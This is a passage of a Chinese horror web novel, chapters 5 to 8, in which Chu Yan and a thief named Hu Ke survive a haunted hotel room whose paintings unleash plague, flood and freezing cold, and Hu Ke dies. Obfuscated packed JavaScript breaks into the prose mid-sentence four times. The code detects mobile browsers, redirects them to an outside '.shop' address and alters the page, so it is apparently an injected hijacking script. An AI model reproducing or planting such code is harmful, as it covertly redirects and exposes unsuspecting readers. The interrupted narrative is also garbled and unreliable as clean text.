对于面试,褚颜其实是没什么底的,毕竟他没有这方面的经验。 但出乎意料的,等他一吃完,那高个保镖就径直朝他走过来,邀请他借一步说话。 褚颜疑惑地跟过去,在会客室见到了一个穿正装打领带的经理,再往后就是一张竹制屏风。 褚颜往右一瞥,意外见到了一张熟悉的面孔:人才市场那个尖瘦灰夹克男人。 后者看见他,也是一愣,随即油腔滑调地道了声“你好”。 “这间房子很凶险,凡在此过夜的顾客,都会因各种原因而死亡。”经理介绍道:“它的存在已经严重影响到了酒店的运营,但因为造价原因,我们不方便进行拆除重建,所以才想到借助你们的力量,看能不能解除异常。” “当然,我们并不想让普通人送命,所以征集的目的,就是吸纳像你们这样的能力者。” 能力者?褚颜捕捉到了新名词,这是有异能的意思?但自己好像没啥特别啊,会不会看走眼了? 不等他发言,尖瘦男人就提出了自己的问题:“这种事,你们不应该找特情局吗?怎么有空找我们?” 经理似乎早料到他有此一问,从容应对道:“我们有自己的考量,你们只需要决定是接受,还是不接受就可以了。这是合同。” 虽然霍医生说现在的世界乱象横生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533375|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但褚颜到现在还没见过什么恐怖事件,所以也没怎么畏惧。 而且1000块对于他来说已经是不错的酬劳了。他当即点头道:“我接受。” “好吧,我也接。”尖瘦男人也跟着答应下来。 晚餐过后,经理给了他们房门钥匙——一锁一卡,双重保险,怕的就是他们在酒店里出事。 房号叫1313。 这个数字在中外有不同解读,西方人总是将它与疾病、恶魔、灾祸等捆绑。 他们可以自备防身物品,尖瘦男人口袋里塞得鼓鼓囊囊,而褚颜只顺手拿了几份甜品加两瓶红酒——并一把削水果的小刀。 尖瘦男人看他吃得香,主动攀谈道:“你不怕吗?” “我还没见过异端长啥样呢。”褚颜说。 “那你可得小心点。”尖瘦男人敞开灰马甲,从里面拿出一把锋利的折叠刀,内袋里鼓鼓囊囊,显然装了不少东西。“这里的异端,不简单。” “这是什么?”褚颜指着他腰间的塑料袋,问。 “红磷。还有朱砂。”尖瘦男人说:“出门在外,总得多备点东西。对了,还不知道你叫什么?我叫胡克。” “贺兰。”褚颜利落地报了假名。 “听起来像个女孩名。”胡克又问:“你的异能是什么?说清楚点,也好有个照应。” “不清楚。”褚颜摊摊手:“说实话,他要是不说,我都不知道自己是能力者。” “难道是父母遗传的能力?平时也应该有表现吧。”胡克问。 “记性不好,真不记得了。”褚颜道。 胡克却只当他在藏私,没有再多言。但他看出那个保镖有“鉴定”技能,应该不会看走眼。 “你的异能是什么?”褚颜问,他还挺想见识下超能力的。 “我会变魔术,比如,把你怀里的东西变出来。”胡克神秘一笑,对着“贺兰”抓了一把。其实打一进来他就发现了,“贺兰”这人胸口鼓鼓囊囊,指不定藏了什么好东西。 他说的“变魔术”也只是托辞,真实情况是“偷窃”。 可他这一抓,却失手了。再试了几次,依然失败。 看来这玩意等级很高啊,这个“贺兰”可真不简单。见拿不出来,他只好放弃,挽尊道:“可能今天手气不佳。” “没事没事。”褚颜忙摆手,表示不用麻烦了。 见“贺兰”这里问不出更多信息,胡克便开始研究这间房子。 褚颜也有样学样,将目光投向两侧挂画。 第一幅上面画着一位身怀六甲的孕妇,她手抚肚子,面目柔和,脚边依偎着一只碧眼狸花猫。 第二张画着一群在海里畅游的鱼,上面是蔚蓝的天空,但海和天的比例有些奇怪,天空的范围被积压得很小,显得非常逼仄。 第三幅则是一个雪人,装饰着胡萝卜做的鼻子,露出灿烂的笑容。 其余则是些电视、柜子之类的物件,没什么稀奇。 吃饱喝足后,褚颜拿出换洗衣物,打算去浴室洗个澡,再清洗一下这几天的脏衣服。 在他走后不久,房间里突然传来“滴——”的一声响,墙上则突兀地出现了一行血字: “倒计时,开始!” 5. 第五章 夺魂酒店 褚颜刚放满一浴缸的水,就感觉一股无形的力量从背后传来,将他头朝下摁进了水里。 满缸水霎时翻滚起来,像无形的怪物潜藏其中,要将生者置之死地。 明明浴缸那么浅,可褚颜眼里却呈现出比游泳池还广阔的空间,在贴近他鼻翼的地方,悬浮着一具鼓胀腐败、面目全非的绿色尸体。 污浊的黄绿色□□和碎块残渣,并着白色的蛆虫一起逸散在水里,只消一眼,就能让人恶心到连隔夜饭都吐出来。 褚颜想躲避那些污物,但身后无形的存在显然想把他活活溺死在浴缸里,大量的水呛进鼻腔和气管,窒息让他的大脑出现了短暂的空白。 然而失神的瞬间,他却陡然反手扣住那怪物的“手”,只听“咔咔”一声,像骨骼被生生扭断的脆响。 但那东西本应是没有骨骼的! 褚颜带着怒意回眸,沾染湿痕的脸上毫无畏惧,像进入了某种奇异的状态。 呈现在他眼中的是一个手脚畸长的幽灵,在刚刚那一记反拧中,他竟对幽灵造成了实体性伤害。 下一刻,幽灵陡然张大嘴,发出了某种常人难以听见但直击灵魂的尖啸声。 霎时间,水波翻涌,玻璃震裂。 若是旁人,此刻便早已心脏骤停,七窍流血地死去。 可褚颜面无表情,甚至是漠视地一步迈出,顶着尖啸声冲到幽灵前面,一把抓住灵体。 与他手掌接触的地方,连幽灵也凝出了胶状的实体,被他两手用力一撕,一扯,就像撕一团棉絮般,把它撕成了碎片。 世界清净了。 褚颜的超常状态迅速褪去,他攀到浴缸边,一下栽了进去。 …… 褚颜是被水激醒的。 当他睁开眼时,才发现自己竟不知不觉在浴缸里睡着了,连衣服都没脱! 怎么一点印象都没有?难道是白天太累了? 他没想太多,换了一缸热水,三下五除二脱掉衣服,舒舒服服地开始泡澡。 那本《救世主保命守则》一直被他放在胸口,幸好没有泡坏。他信手拿起,发现第二页出现了新的守则: “第二条:遗忘 适当的遗忘,能保持更好的理智!” 这什么意思?难道自己的间歇性失忆,还是件好事? 他虽不理解,却没有深究,泡了七八分钟澡,就恋恋不舍地起身,换好干净衣裳。 刚把脏衣服塞进洗衣机,他就听到外面传来打斗声。 打开门一看,那家伙正在跟缠在脖子上的窗帘殊死搏斗,已经勒得翻白眼了。 褚颜见状,连忙上前,把他从窗帘堆里解救了出来。 说来也怪,胡克用尽全身力气都扯不开的帘子,在褚颜手下却柔软得像一团棉布。 胡克捂住喉咙,一阵呛咳,感受到大量涌入肺中的空气,才感觉自己活了过来。 “你……你怎么做到的……”胡克指指窗帘,仍有些上气不接下气。 “就随手一扯啊。倒是你,怎么自己勒自己啊?”褚颜问。 “不是我,有鬼。”胡克解释道。 这时,空旷的房间里突然传来一声尖利的猫叫声。伴着指爪抓挠地板的声音。 “你听见了吗?”胡克咽了咽口水,问他:“猫叫声。” 褚颜摇了摇头。 这时,房间天花板、墙壁,乃至地板,都响起了无数“怦咚怦咚”的声响,像无数怪物在夹缝中聚集。 “吱吱”、“吱吱”。让人毛骨悚然的声音从四周响起。 “咔嚓。”天花板以肉眼可见的速度裂开,一大团黑乎乎的东西就这样砸了下来,把胡克整个埋了进去。 那是一堆小山般的老鼠,每一具身体上都长着好几个脑袋,黑毛长尾,利齿尖牙。 它们吱吱叫着,口吐人言:“把我的钱还给我!” 胡克惊叫一声,倏然看见那些老鼠长出了人的脸孔,有男有女,有老有少。他们都是自己曾经偷窃过的对象。 “你这个该死的,无耻的小偷!” “我们要咬死你!” 说罢,老鼠们齐齐行动,对着他撕咬起来。 胡克的脸上显出惊恐的神色,拿着折叠刀疯狂挥砍。 可那些畜生诡异又奸诈,一边闪避他的攻击,一边往他衣服里钻。 一幕幕幻象也开始在他眼前显现。那是急需救命钱的老人绝望的哭喊,那是工人失去手机后的捶胸顿足,那是外卖员失去谋生车辆后的茫然无措…… 可在褚颜眼中,那里有且仅有一只老鼠,不大,只是灼灼的目光一直盯着地上的胡克,咧着嘴露出奇怪的笑容。 而胡克一边攻击着根本不存在的敌人,一边将手伸进嘴里抠挖,像要把钻进去的怪物揪出来。 “啪。”随着一声拍击,胡克眼前的幻象出现了一丝裂痕。 那是褚颜摘下了墙上的挂画,对着老鼠拍去。 老鼠“吱吱”怪叫起来,眼里闪出尖利的光,它恶狠狠地盯着褚颜,似乎想像控制胡克一样控制他。 可褚颜却丝毫不受影响。他干脆利落地一下把老鼠扇飞,又冲过去补了几下。老鼠狼狈地想要逃窜,却像是被黏住了一样停在原地,被他用凳子一砸,彻底没了生息。 胡克眼中的狰狞怪像如墨画一样被抹去,那些老鼠也纷纷没了踪影,只剩神兵天将般的褚颜,和一只血淋淋的鼠尸。 “你,你杀了它?”胡克仍有些没缓过劲来。 “嗯,不然呢?你胆子也太小了,一只老鼠而已。”褚颜表情古怪地看向他手上染血的刀,而胡克这才后知后觉地把它扔掉。 “这些伤都是我自己弄的?”他问。 褚颜点头。 胡克一脸懊丧,道:“我被它影响了。”说到这里,他愕然惊觉:“你怎么没事?” “我能有什么事?”褚颜反问。他又没病。 难道他是罕见的精神类异能,能免疫异象?胡克在心里嘀咕道。 “好了,你把老鼠和这幅画处理一下吧。死老鼠应该不怕吧?”褚颜问。 胡克点点头,不自觉服从了他的命令。他刚准备把鼠尸装进垃圾袋,就看见老鼠如烟雾般消散了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533376|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而那副被褚颜用来打老鼠的挂画,却引起了他满含惊讶的呼声。 原来这正是墙上的第一幅挂画,画的是孕妇和碧眼狸猫。而此时,画中的狸猫已经身体弓起作惊恐态,孕妇的肚子也膨胀到常人难以想象的程度,从腹部裂开了一道豁口,里面正是无数闪着寒光的老鼠眼睛。 他打了个寒颤,下意识觉得这画带了点邪性。不自觉看向墙上的第二幅图。 只见第二幅画也变了模样,海水上涨,将天空的位置全面占据,一片庞大的黑影正从海底慢慢浮现。 “不好!”胡克刚喊了这一句,就看见汹涌的海水从第二幅壁画里涌出,将整个房间彻底淹没。 胡克费力睁开眼,视线所及处尽是漂浮的电视冰箱和桌椅。 求生欲迫使他往门口的方向游去,可那里哪还有门? 再看向窗,窗也不见了踪影。 这个房子变成了六面都是墙的铁盒子,像是要把他们活活困死在这里。 褚颜也被淹了个措手不及。 咸腥的海水与淡水的感觉完全不同,那一瞬间,他似乎又回到了记忆中的一幕。 是他乘着船,抱着女儿,在海上漂泊。 那时的天,也是这样,满是雷电、暴雨。 他们置身在天海之间,仿佛被整个世界彻底抛弃。 …… 水淹没了他的鼻腔,直达天花板,再无一点余隙。 水的深处,现出了庞然大物的一根触手。它长得像章鱼的腕足,却带着菊花状的长满利齿的口器。 也许是房间太小,它无法显出全貌,但仅仅是冰山一角,都足以窥见它的恐怖。 在看到它的那一刻,胡克只觉得自己的脑袋像被锤子狠狠撞了一下,瞬间口鼻流血,像具尸体一样向着口器造成的漩涡内漂去。 陈旧、古老、重复的呓语,在这片小小的天地间响起。 那不是属于人类的任何一种语言,晦涩难懂,仿佛从天外而来。 祂说的是:“拉……莱耶……拉莱耶……” 褚颜再一次“醒”了过来,双眼已变得古井无波。也许短时间内第二次“觉醒”给他造成了负担,在睁眼的那一刻,他的鼻端就涌出了鲜血。 但他知道,自己必须苏醒,否则今天就得交代在这里。 毕竟降临于此的是那位旧日。哪怕到达这里的只是一个现实投影,也足以让人失控发疯。 他没有去直面祂,只是做了一个奇怪的手势。霎时间,所有海水都停止了流动,甚至开始往画中倒涌。而触手也慢慢退去,回归了原点。 无边的死寂中,响起一道古老晦涩的声音,吐出两个繁复的音节,似乎认出了褚颜的身份。 祂说:“是你……” 褚颜没有回应,只是将差点死去的胡克拽到一旁,自己于汪洋中找了个椅子坐下,闭目休憩。 天空中仍有雷暴闪烁,似在不甘就此放过到手的猎物。它一声接一声地怒吼,却最终只能无奈退去。 褚颜看起来只是闭目独坐,却如定海神针一般,镇住了这片狂乱。 6. 第六章 极度深寒 无边无际的黑暗里,褚颜从梦中醒了过来。 脚下是成堆的尸骨,目光所及处是黏腻的碎肉和血浆,乌黑腥臭,令人作呕。 天空中没有月亮,四周只有一幢幢漆黑寂静的高楼,矗立如鬼影。 而他不顾一切地向前奔跑,仿佛身后有死神在追逐。 一个声音在他脑海中回荡,说的是: “你来到这里,是祂的安排。但你不能屈服……掌握那份力量……让世界重新恢复正常……” 那个声音渐渐低落了下去,最后变为一声凄厉的惨叫。而他一直一直麻木地向前跑着,再也没有回头。 褚颜从梦中醒了过来,恍然间不知身在何处。 自从失忆以来,他是第一次做这个梦。但他隐隐有种感觉,这并非幻想,而是发生过的现实。 但为什么会失去那段记忆呢?又为何会突然想起? 他不得其解,却被脚底下的冰凉触感惊醒,定睛一看,才发现房间里已然发了洪水——水都淹到脚脖子了! …… 胡克睁开眼的时候,发现自己正躺在客厅的沙发上。他往脸上一抹,扒拉下来一只八脚的章鱼,当即心有余悸地把它扔远。 房间里已不见了褚颜的身影,倒是洗手间里传来一阵活动声。 不会被怪物吃了吧。胡克心想,接着便推开了门。 卫生间里的正是褚颜,他手上戴着橡胶手套,正在与下水道奋战。 “你醒啦?”褚颜道:“我说,这物业也太差劲了吧,漏水成这样都没反应,还要我自己来修。” 胡克看着毫发无损的他,眼神逐渐古怪,就像在看一个怪物。 刚刚的洪水,巨物,都不见了,而他还在好整以暇地跟自己讨论下水道维修? 褚颜擦了把脸,道:“你不是魔术师吗?能不能变点趁手的工具?这皮搋子也太难用了。” 胡克没敢反驳,他怕对方拿他去喂怪物。 他信手一抓,用“偷窃”技能,从隔壁的房间里抓了个下水道疏通神器,递给他。 “有异能真好。”褚颜由衷感慨,说完又继续捣鼓捣了。虽然干起活来发热,但他身上本就被水打湿了,一时也有点不舒服,便对胡克道:“你能把空调开开吗,有点冷了。” “哦。”胡克转身走了出去。 好不容易把下水道疏通,看到积水渐渐下泄的时候,褚颜终于有了点做了回事的成就感。 他抹了把汗,走出门去,发现胡克在看第三幅挂画。而房间里已经结了一层白霜。 褚颜一来,就看到他像发现什么新大陆一样,慌道:“你快看,画变了!” 褚颜顺着他的指引看去,见第三幅画里依然是那个雪人,只是跟第一次见时有了些许差别:雪下得更大了,而雪人的嘴咧得很开很开,露出一个十分诡异的笑容。 “这三幅画是预言,画一动,房间里就会出现相应的变化。第一幅是鼠疫,第二幅是洪水,现在是冰冻。”胡克道:“它想把我们冻死在这里。” 褚颜缩了缩脖子,的确感觉到了超乎寻常的冷。这是很不寻常的。 “我开个空调。”他边说,边走过去拿起空调遥控器。 可无论他怎么按,空调都毫无反应,甚至像故意戏弄他一样,数字一顿狂跳,最终定格在了零下50度。 褚颜就算再迟钝,此时也应该觉察出问题了。哪有空调能吹这么冷的。 但为了谨慎起见,他还是打算再试试别的办法,于是按下了客房电话。 褚颜:“喂,您好,1313号房。” 那边响起自动回复:“今天的天气预报是,雨转大雪。局部温度为零下50度,请顾客注意保暖,小心地滑。” 褚颜皱起眉头,道:“我们这里空调坏了,可以过来修吗?” “很抱歉给您造成了不便。如果对我们的工作不满意的话,可以按相应数字予以评价。评价数字为1跳楼,2溺水,3割腕,4上吊,5撞墙……” 这回答也太诡异了。 “如果您没什么问题的话,通话就到此结束了哦,祝您祭日愉快。”说完这句,那边就挂断了。 胡克又说:“连手机都没信号。” 褚颜拿出来一看,才发现果然如此。 可这年头除了深山,还有哪里是信号到不了的? “能出去吗?我试试。”他说着便走到了门边。 ——随着洪水褪去,门窗又重新出现了。 但奇怪的是,进来时能正常使用的钥匙,现在却根本无法把门打开。 他的几次尝试,都以失败告终。 这时,房间里的温度也下降得更厉害了,地上的冰越来越厚。 胡克刚想提醒他别白费功夫,就看见一道黑影出现从褚颜后方吊了下来,那是一个被歪着脖子、舌头老长的男人! “鬼!”胡克险些跳了起来! “你说什么?”褚颜刚说完,他的脚边就出现了一具尸体,死者的脑袋就如炸开的西瓜一样,血肉模糊,而旁边墙上鲜血飞溅,显然是在墙上一下一下砸出来的。 而褚颜并未察觉。 “你的脚边上……你看不到吗?”胡克问。 褚颜被他说得有点背后发凉,却还是挥去心头异样,道:“你别自己吓自己。” 见钥匙不行,他索性从卡槽中拿出房卡。 霎时间,整个屋子的灯都熄灭了。 房间里突然多了很多“人”。 吊灯上,挂着一具具眼珠外凸、脸皮青白的尸体,他们轻轻晃啊晃,随风摇摆。 地上,床上,也横七竖八躺着各种死状凄惨的尸体:有把自己的喉咙生生切开的,有圆睁着双眼死不瞑目的,有活活溺死在洗脸盆里的。 墙上到处是喷溅的血迹,在夜色里散发着荧荧的幽光。 倏然间,一具剥了皮的尸体从上方悬吊下来,正落在胡克眼前。 它的血滴在他的鞋子上,肌肉还在突突地跳,咧着血淋淋的嘴,喊他的名字:“胡克……胡克……” 透过血迹,胡克看清了那张残存的面皮,那竟然是——他自己! “啊啊啊啊——”他突然发起狂来,整个人外衣绽裂,弓起背脊,像野兽一样趴伏于地。 褚颜察觉到不对,刚把房卡插回卡槽,就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533377|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见胡克张着血盆大口,朝自己扑了过来。 褚颜连忙躲开,借着头顶的灯光,他看见胡克脸上已经长出了一层层灰色的毛发,就像老鼠成了精。 他从未见过这样怪异的症状,但直觉还是让他感到了危险! 不能让他碰到自己。他想。 可地上早已结了厚厚的冰,连站立都艰难,更何况是奔跑? 两个人在四处打滑的几间房里追逐起来,跌跌撞撞,几度差点摔倒。 好几次褚颜都差点被他咬到,而封闭的房间也没有太多躲避的可能。 他只能不停地将各种物品扔到地上,给对方制造障碍,给自己增加逃生时间。 可房间里越发冷了,很快褚颜便感觉到自己体温在飞快下降。 不能再这样下去了。他瞥见客房里用来打模拟球的高尔夫球棍,几下闪躲绕到棍子边,操起棍子,对着胡克脸侧就是一下。 “嘭!”胡克脸上显出血痕,却依然面目狰狞,不见半分迟滞。 褚颜趁他扑来,从他腋下逃走,反手又是一击,正抽在胡克后脑勺上。 那身影摇摇晃晃,最终失控地向下载倒,没了动静。 “不会死了吧?”褚颜想确认一下,又怕他醒来,最后在房中找来一捆绳子,把他结结实实捆了起来。 当胡克苏醒时,首先看到的就是一簇火光。 褚颜不知从哪里找来的金属盆,用窗帘生了火,正拿着房间里的书刊,在一页一页往里撕。他已经把所有衣服都穿到了身上,还盖了张大被子,但即便如此,还是冷得直哆嗦。 胡克用茶几的金属边照了照自己的脸,发现脸上的灰毛都褪去了。 “你刚刚……怎么回事?”褚颜问。 胡克姿势别扭地坐起身,发现褚颜也给自己盖了另一张被子,这才没让他被直接冻死。 “异化现象,我被房间里的异端污染了。”胡克道:“但幸好污染程度不深,还能恢复。如果再待久一点,我就要彻底变成怪物了。” “是只有异能者,才会被污染吗?”褚颜问。 “不,所有人都有可能。但异能者会拥有对应的神话形态。”胡克解释道,又说:“现在你相信我的话了吧。” 褚颜点头。他都原以为异常都在传闻里,没想到会离自己这么近。 胡克道:“如果我没猜错,那些死状凄惨的人,都是这个房间之前的客人。他们死了,却永远留在了这里——以一种幽灵的形式。” 褚颜缩了缩脖子,道:“够冷了,就别说鬼故事了。” “你一点都看不见?你的san值也太高了吧。”胡克说。 又是一个新名词。褚颜问:“san值是什么?” 胡克解释道:“就是理智。san值跌到一定的程度,人就会陷入疯狂。一旦这个时间持续得久一点,就会变成怪物。” 褚颜不由得想起《救世主保命守则》上的第二条内容:“适当的遗忘,能保持更好的理智。” 难道说,胡克会发疯,他却没感觉,不是因为他没遇到,而是他忘了? 他隐隐觉得自己触碰到了事情的部分真相。 7. 第七章 新的委托 “san值够高,就看不见鬼吗?”褚颜问。 “因人而异。这可能跟你的异能有关。你可能是精神类的异能,这能让你免疫一些幻象的干扰。”但第二幅画带来的洪水明显不是幻象,那他又是怎么活下来的呢?胡克深感疑惑。 “那我们现在要怎么脱困?”褚颜问:“我在你昏迷的时候已经试过了,门,打不开。窗户,也被完全冻死,砸都砸不烂。” “这间屋子是活的。甚至有可能整个屋子,都是一个完整的异端。如果我们想逃出去,就得先打败它。”胡克说:“而活的东西,都会有感知,也会存在相应的弱点。你看看能不能想到什么办法?” 他隐隐觉得褚颜是这次破局的关键。 问我?褚颜虽然不理解,却还是认真思索起来。 如果这个房子真是活的,在已知它能操纵鼠疫、洪水、冰灾的情况下,还有什么能伤到它呢? 难道……是火? 不是没有可能。 但在狭小的空间里,就算要放火,也得把握好尺度。 不能让自己陷入危险,最重要的是,逼出它的弱点。 褚颜很快思量好了对策,但为了避免“房子”偷听他们的谈话,他只是含糊地说:“我想做个尝试,你把那袋红磷给我。” 说罢他又将两瓶红酒挪到火盆边上,盼着将它们稍稍烤融——幸亏瓶子质量还好,才没在这种极致低温中冻裂。 他撕下几张书页,将红磷撒在中间,再从盆中引火。 接着他飞奔主卧室,将书页往被子上一扔。火光霎时照亮了整张屋子。 而他脚步未停,再一次故技重施,往次卧跑去。 这一路煽风点火,不多时整个1313都已火光冲天,驱散了不少寒气。 “希望经理不要找我赔钱,希望不会危害到其他顾客的人身安全。”褚颜在心中默念。 随着火越烧越猛,房间里响起了饱含怒意的低吼声。 接着烟雾报警器迅速打开,房间里的水阀也不约而同地开放,对着着火点开始喷淋。 这么多可燃物的情况下,火苗与水顽强地做着斗争,一次又一次复燃。可无论火怎么烧,到达某处时都会自动熄灭。 褚颜小心观察着周围的动静,倏然,他发现了端倪,指使胡克道:“那台电视机,它就藏在那里!” 胡克立刻会意,在用折叠刀割断绳索的瞬间,一个飞扑,对着电视机扎了进去。 褚颜操起椅子,对着屏幕狠狠砸了过来。 电视顿时卡嚓卡嚓裂成了无数块,暴露出一团藏在其中的、由血肉组成的长满眼睛的怪物。 感觉到威胁,怪物张开嘴,对着两人发出震慑的嘶吼。 “退后!”褚颜一边喊,一边拿起烤融的红酒,对着它砸了过去。紧随而至的,是一盆余火。 酒瓶在怪物身上发出刺耳的爆裂声,融化的酒液它身上熊熊燃烧,令它发出了刺耳的痛苦哀嚎。 它在暴怒中伸出四条硬化的触手,化作刀刃,对着两人砍去。 褚颜连忙闪避,从远处拿来球棍,对着它梆梆就是两下。 胡克从地上拎起铜盆,一边用它当盾防守,一边挥舞着折叠刀进攻。 怪物转动着密密麻麻的眼睛,在被它盯上的瞬间,胡克只觉得一阵头晕目眩。 “我来吸引注意,你来攻击!”胡克只得催促能免疫精神攻击的褚颜。 虽然怪物造型奇异,令人生畏,但为了尽快逃出这诡异的房子,褚颜也不自觉拿起了刀子,慢慢逼近。 怪物挣出一根触手,对着他心肺刺去,却被他胸口的笔记本挡了下来。 就在这一会的功夫里,褚颜就发现了它的秘密:在那众多眼睛里,唯有一只紧闭,似乎那就是它的核心。 “我找到它的弱点了!帮我!”他对着胡克喊道。 胡克闻言,干脆利落地一把缠住三根触手,又用折叠刀对付剩下那根,帮他创造机会。 有了胡克的帮助,褚颜毫不犹豫地快步上前,拿起小刀,对着那只眼睛戳了下去。 雄浑古老的力量,从褚颜手掌处传出,顺着刀刃涌进了怪物的伤口里。 如果是旁人也就罢了,偏偏是他。 怪物霎时只觉得自己的身体陷入了一种僵硬状态,像被控制了一样。随后,饱胀的力量灌注到它的每一块肌肉里,将它的身体慢慢撕裂。 在裂开的豁口处,一团黑色的胶质物缓缓成形,带着无尽的诱惑,让胡克的眼里瞬间放出光来。 出现了,源! 他一把扯过还在愣神的褚颜,将他推向了怪物的触手中,同时面目狰狞地伸出手去,握住了那团胶质物。 谁料怪物还没有彻底死去,褚颜的离开也让它获得了喘息之机。濒死的绝望和对袭击者的愤恨,让它迅速调转触手,一把刺穿了胡克的身体。 而后触手齐张,将胡克一把撕成了碎片。 鲜血溅射到褚颜失神的脸上,他怔了一怔,似乎有些不敢相信面前发生的一切。 杀死胡克后,怪物的身躯也在空中缓缓消散,只剩一团黑色的胶质物。 如同被吸引一般,它自动漂浮过来,融进了褚颜的手心里。 而褚颜看着这匪夷所思的一幕,脑袋一昏,直接晕了过去。 在他未看见的角落,胡克尸体的碎块中,也弥散出一团小了许多的胶质物,一拱一拱地爬动着,钻进了他的指尖。 …… 病房内。 褚颜默念“被怪物寄生会变成怪物吗”,然后一把打开笔记。 第三页空空如也,并没有出现新的信息。 他又尝试了几次,依然没有得到解答。 就在这时,房门被敲响,门外正是之前在酒店里和他们有过一面之缘的保镖。 “贺先生,您现在方便吗?我们老板想见你。” 褚颜此刻并不想见人,虽然“遗忘”从他脑中抹去了胡克死亡的惨状,但胡克将他推向怪物的一幕,以及胡克已死的这个事实,他还是有所察觉的。 他的心情还没平复下来,对方却已进了门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533378|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是上次见过一面的酒店经理,还有一位坐在轮椅上的中年男子——他应该就是保镖口中的老板了。 虽然两人素未谋面,但褚颜隐隐觉得,他们已经见过了——在酒店的屏风之后,当时这位先生就在那里。 未等老板开口,钱经理就先恭敬地递上3000块现金:“贺先生,这是您的报酬,和对您所受惊吓的一些补偿。” 虽然之前褚颜很想要这些钱,此刻却觉得它们有些碍眼。 但他终究没有拒绝。毕竟该受罪的他都受了,没必要假清高。 “你们找我,有什么事吗?”他问。 “你能在夺魂凶间里活下来,已经充分证明了你的实力。我想委托你另一件事情。”中男年人道。 通过经理的介绍,褚颜得知他姓金。 褚颜皱起眉头,下意识就想拒绝。 这次任务里刚死掉一个人,他们就毫无障碍地开始跟自己谈下一笔交易,这种对待生命的态度,也未免太漠视了。 “那位胡先生,对他的死亡我们深表歉意。但是在异端横行的世界里,这种情况每天都在发生,我们也无能为力。我们会找到他的家人,给出合适的抚恤金,以弥补他们的损失。”似乎看穿了他的心思,金老板手指一动,经理就道出了准备好的说辞。 “这单任务,是想让你救一个人,我的儿子。”金老板道。 “我们会给你1万块,这是定金。如果事情完成,你还可以获得10万到100万不等的报酬。”经理在旁边适时补充。 这的确不是一笔小数目,尤其对于缺钱的褚颜来说。 虽然未下决定,但他还是下意识问了一句:“具体是什么情况?” “四年前,他被绑架了。而最后的线索显示,他被带到了一个镇子,从此失去了踪迹。” 四年前的绑架案,那还能活着吗?褚颜不相信人贩子会这么好心地养他四年。而且金老板的说辞也很古怪,既然是四年前失踪,难道这些年他就没找过吗? “你们为什么不让警察和特勤局介入,人多不是力量更大吗?”他问。 “那个地方被封锁了,普通人无法进入。而特勤局……因为一些原因,我们不能向他们寻求帮助。这就是我找上你的原因。”金老板说着,面上显出痛苦的神色。 经理适时地接过话头,道:“除你以外,还有另外四个能力者会参与到这次营救中。他们装备精良,经验丰富,会最大程度地保障你的安全。” 看起来,似乎是想打消他的疑虑。 褚颜没有马上答应,只说:“等我考虑一下,到时候再给你们答复。” “可以理解。我们也尊重您的选择。”经理递过名片:“您考虑好后,可以随时和我们联系。” 几人走后,褚颜看着手上的名片,露出了一丝苦笑。 真是一波未平,一波又起。一个需要五个异能者才能出动的任务,又能安全到哪里去? 他翻开《救世主保命守则》,没有看到新的启示,便决定问问霍医生的意见。 8. 第八章 门楼悬尸 褚颜将酒店的事情大致描述了一下,编辑成信息发了过去。当然,他没有忘记询问那黑色的胶质物。 “你所看到的东西叫做‘源’,是它们力量的源泉。当一个异端被彻底杀死时,它的‘源’就会像结晶一样析出。” “人类可以通过吸收‘源’来获得异能,不同类型的‘源’诱发的能力也会有所不同。”霍医生这样解释道。 “那会有什么副作用吗?”褚颜问。 霍医生:“有。对于人类来说,‘源’到底是一种外来物。它掺杂了很多污染,吸收得越杂,越可能出现疯狂失控的倾向,甚至有可能异化成怪物。” 褚颜:“那我是不是要尽量避免?”毕竟他并不知道自己适合什么类型。 霍医生:“不是没有办法规避。比如官方异能者,他们就可以通过‘古神的赐福’来驱除污染。但有一些却是无法驱除的。” 褚颜:“我该怎么判断呢?” 霍医生:“颜色。颜色是区分‘源’类型的标志。但如果你在某次吸收过后,出现了不适的症状,可以跟我反映。” 也就是说,他有办法解决? 